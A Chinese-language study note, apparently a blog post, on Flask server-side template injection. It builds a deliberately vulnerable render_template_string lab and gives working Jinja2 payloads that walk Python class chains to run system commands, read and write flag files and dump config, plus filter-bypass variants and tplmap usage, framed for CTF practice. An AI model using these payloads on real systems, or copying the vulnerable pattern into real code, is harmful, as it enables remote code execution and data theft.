SSTI模板注入学习笔记---Flask

SSTI模板注入Flask

这里主要介绍Flask模板下实现模板注入,以及利用简单python语法实现本地SSTI靶场的快速搭建,意在形成基本的利用模板注入漏洞思维。后续会整理其他模板下的注入利用方式。
SSTI Server Side Template Inject 服务器模板注入

Flask前置知识

Flask框架基础

Flask是一种使用 Python 编写的轻量级 Web 应用框架,最流行的python web框架之一。Flask相当于一个内核,其他所有的功能需要第三方扩展。(数据库扩展,邮件扩展)其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。

需求-》工具,框架就是一种解决问题的工具

Flask环境搭建

settings——》interpreter(解释器)

Flask基础语法

实现网页中输出“hello world”

from  flask import Flask//从flask模块中导入flask类
app=Flask(__name__)//对flask类初始化,传递参数,调用name相关的魔术变量,表示使用本地作为工程目录
@app.route('/')//修饰器,表示路由信息,此处访问根目录。此处表示当我们访问根目录时,就会展示视图的函数。
def index()://定义视图,在页面中要展示的内容
    return "hello  world"
if __name__=='__main__'://既可作为独立文件运行,也可作为模块导入
    app.run()//启动web服务,调用flask对象当中的run方法

Flask参数设置(实例化配置)

参考链接:https://www.136.la/shida/show-281930.html

flask初始化对象可以提交的参数,也就是在

app=Flask(__name__)

括号中的参数

def __init__(
   self,
   import _name, //寻找工程目录,一般情况下为__name__
   static_url_path=None, //静态文件目录的url路径 默认不写是与static_folder同名,远程静态文件时复用,比如/s/ 访问的是静态目录
   static_folder="static",//静态文件目录的路径,默认当前项目中的static目录:图片,css文件
   static_host=None,//远程静态文件所用的Host地址,默认为空
   # host_matching是否开启host主机位匹配,是要与static_host一起使用,如果配置了static_host, 则必须赋值为True
   # 这里要说明一下,@app.route("/",host="localhost:5000") 就必须要这样写
   # host="localhost:5000" 如果主机头不是 localhost:5000 则无法通过当前的路由
   host_matching = False,  # 如果不是特别需要的话,慎用,否则所有的route 都需要host=""的参数
   subdomain_matching = False,  # 理论上来说是用来限制SERVER_NAME子域名的,但是目前还没有感觉出来区别在哪里
   template_folder = ‘templates‘  # template模板目录, 默认当前项目中的 templates 目录,后续模板注入会对这样的模板进行
   instance_path = None,  # 指向另一个Flask实例的路径
   instance_relative_config = False  # 是否加载另一个实例的配置
   root_path = None  # 主模块所在的目录的绝对路径,默认项目目录
):

应用程序配置参数,例如保存数据库连接数据

Flask配置信息保存在app.config属性里,这个属性可以通过字典的方式操作

读取,可以调用

app.config.get(name)

app.config[name]

设置:

1.从配置对象中加载

app.config.from_object(配置对象)

适用 默认配置,保留字段,没有其他无关值

from flask import Flask
class DefaultConfig(object)://新建配置的类
    SECRET_KEY='123456789'
app=Flask(__name__)
app.config.from_object(DefaultConfig)//从对应的类中获得属性
@app.route("/")
def index():
    print(app.config["SECRET_KEY"])
    return "hello world"
if __name__=='__main__':
    app.run()

缺点:显而易见,关键参数直接暴露在代码中

2.从配置文件加载

from flask import Flask
app=Flask(__name__)
app.config.from_pyfile('settings.py')
@app.route("/")
def index():
    print(app.config["SECRET_KEY"])
    return "hello world"
if __name__=='__main__':
    app.run()

优点:文件独立,保护敏感配置信息和敏感文件

缺点:路径被固定

3.从环境变量中加载

app.config.envvar('环境变量名')
export PROJECT_SETTINGS='~/settings.py'
app.config.from_envvar('PROJECT_SETTINGS',silent=TRUE

优点:保护敏感配置信息,不固定文件路径

缺点:设置环境变量

实际使用,利用配置对象加载一些无关值,利用环境变量覆盖值

def create_flask_app(config):
  app=Flask(__name__)
  app.config.from_object(config)//加载所有参数 保证程序不会出错
  app.config.from_envvar('PROJECT_SETTINGS')//覆盖参数
  return app

app.run()设置

app.run(host="0.0.0.0",port=1000,debug=True)利用公网IP暴露

按住ctrl点击run,查看run函数可以接收到的参数

Flask请求参数

通过HTTP请求向Flask提交参数

1.URL路径参数

转换器<>默认为字符串类型

from flask import Flask

app=Flask(__name__)
@app.route('/users/<user_id>')
def user_info(user_id):
    printf(type(user_id))
    return 'hello user {}'.format(user_id)
if __name__=="__main__":
    app.run()

@app.route('/users/int:<user_id>') 限制数据类型

2.request全局对象

使用request对象的args属性调用get方法获取参数值(此处是get方式)

from flask import  Flask,request

app=Flask(__name__)
@app.route('/articles/')
def get_articles():
     id=request.args.get('id')
     return 'articles id {}'.format(id)
     
if __name__=='__main__':
     app.run()

Flask模板响应

1.创建模板

新建templates目录,创建html文件

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>演示文稿</title>
</head>
<body>
    <br>{{my_int}}//模板变量,此处后续利用脚本动态替换
    <br>{{my_str}}
</body>
</html>

2.后端视图

from flask import Flask,requests,render_template
 app=Flask(__name__)

 @app.route('/')
 def home():
     mint=123
     mstr='wyl'
     return render_template('index.html',my_int=mint,my_str=mstr)
//返回字符串,通过render_template渲染
 if __name__=='__main__':
     app.run()

因为没有用户可以控制的参数,所以这个模板是安全的。

如果:1.参数用户可以控制,且没有对用户上传的参数没有过滤,那么存在SSTI漏洞

有提交参数的模板响应

from flask import Flask,requests,render_template
 app=Flask(__name__)

 @app.route('/')
 def home():
     key=request.args.get('key')
     return render_template('index.html',key=key)
 if __name__=='__main__':
     app.run()

模板文件

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>演示文稿</title>
</head>
<body>
    <br>{{key}}//模板变量
</body>
</html>

如果传参?key={{1-1}}

这里会直接打印{{1-1}}

这是因为render_template函数自动渲染对应内容,不会对用户提交的数据再执行渲染,但其他渲染函数存在再次渲染问题render_template_string

from flask import Flask,request,render_template_string
 app=Flask(__name__)

 @app.route('/')
 def home():
     key=request.args.get('key')
     templates='''
        <!DOCTYPE html>
        <html>
        <head>
        <meta charset="utf-8">
        <title>演示文稿</title>
        </head>
        <body>
        <br>{}
        </body>
        </html>
    '''.format(key)//或者.format(request.args.get('key')),
     return render_template_string(templates)
 if __name__=='__main__':
     app.run()

此时输出结果0,说明执行了计算,存在SSTI模板注入漏洞

Tip:
netstat -ano | findstr 5000

taskkill /pid XXXXX /f 
解决报错
Internal Server Error

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

SSTI介绍及利用

在存在SSTI漏洞的网页里,{{}}中的传参会被执行

python是面向对象的编程语言,object类是Python所有类的基类,在没有指定哪个类继承哪个类的情况下,则默认继承object类

每个类都有的_ _ class _ _,表示当前类。

print(''.__class__)//获取当前对象所使用的类,此处为字符串
print(().__class__)//元组
print([].__class__)//列表
print({}.__class__)//字典

每一个类都有一个_ _ bases _ _属性,列出其基类

print(''.__class__.__bases__)//base不加s输出当前父类,加s输出所有的父类(元组)

列举类解析函数的执行顺序_ _mro _ _

解析一个类构造函数的调用顺序

print(''.__class__.__mro__)
//下标索引
print(''.__class__.__mro__[1])

获取子类集合

print(''.__class__.__bases__[0].__subclasses__())
print(len(''.__class__.__bases__[0].__subclasses__()))//类的个数

寻找可以执行系统命令的子类: os._wrap_close

两种方法,一种最笨的,列出所有子类后在里面找,

第二种是编程进行寻找.目录遍历

for item in"".__class__.__bases__[0].__subclasses__():
    if item=="<class 'os._wrap_close'>":
       print('ok')

快速查找popen使用的下标

for i in range(0,199):
    try:
        print(''.__class__.__bases__[0].__subclasses__()[i].__init__().__globals__['popen'])//__init__构造函数,__globals__查看全局变量
        print(''.__class__.__bases__[0].__subclasses__()[i])
        print(i)
    except:
        pass
print(''.__class__.__bases__[0].__subclasses__()[138])
print(''.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['__name__'])//下表索引,属性获取
print(''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__.keys())//操作字典,ctrl+f快速索引,例如:popen
print(''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['__builtins__'])//输出'__builtins__'下相关内容,字典
print(''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['__builtins__'].keys())//操作字典,列出键值,ctrl+f快速索引,例如:open,可以执行文件读取

执行系统命令

print(''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['popen']('dir').read())
print(''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['__builtins__']['open']('flag.txt').read())
print(''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['__builtins__']['open']('flag.txt','w').write('flag{sadsadsa}'))
?id={{''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['__builtins__']['open']('flag.txt').read()}}

SSTI CTF trick

实际CTF中不会直接就能成功提交参数,对用户上传的参数会做过滤。

简单查找具体python类的索引

import os
print(''.__class__.__bases__.__subclasses__().index(os._swap_close))
快速获取相关索引

手动注入

1.过滤方括号

原payload:
print(''.__class__.__bases__[0].__subclasses__())
print(''.__class__.__mro__[1].__subclasses__())
如果后端对[]进行了过滤
print(''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(138))
print(''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(138).__init__)
print(''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(138).__init__.__globals__.get('popen')('dir').read())
print(''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(138).__init__.__globals__.get('__builtins__').get('open')('flag.txt').read())//get()方式绕过

2.在配置文件中有flag参数

from flask import Flask,request,render_template_string
 app=Flask(__name__)

 @app.route('/')
 def home():
     app.config['flag']='dhaishduhasf'
     templates='''
        <!DOCTYPE html>
        <html>
        <head>
        <meta charset="utf-8">
        <title>演示文稿</title>
        </head>
        <body>
        <br>{}
        </body>
        </html>
    '''.format(request.args.get('key')),
     return render_template_string(templates)
 if __name__=='__main__':
     app.run()

注入{{config}}直接读取

3.过滤引号

此时使用http get提交参数绕过

?key={{().__class__.mro__.__getitem__(1).__subclasses__().__getitem__(138).__init__.__globals__.get(request.args.func)(request.args.cmd).read()}}&func=popen&cmd=dir

4.关键词过滤

字符串拼接

print(''.__getattribute__('__'+"cl"+'ass'+"__"))
payload:
''.__getattribute__('__'+"cl"+'ass'+"__").__mro__.__getitem__(1).__subclasses__().__getitem__(138).__init__.globals__.get('__builtins__').get('open')('flag.txt').read()

自动化注入

git clone https://github.com/epinna/tplmap.git
pip install -r requirements.txt
python tplmap.py -u

使用模板的基本判断

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值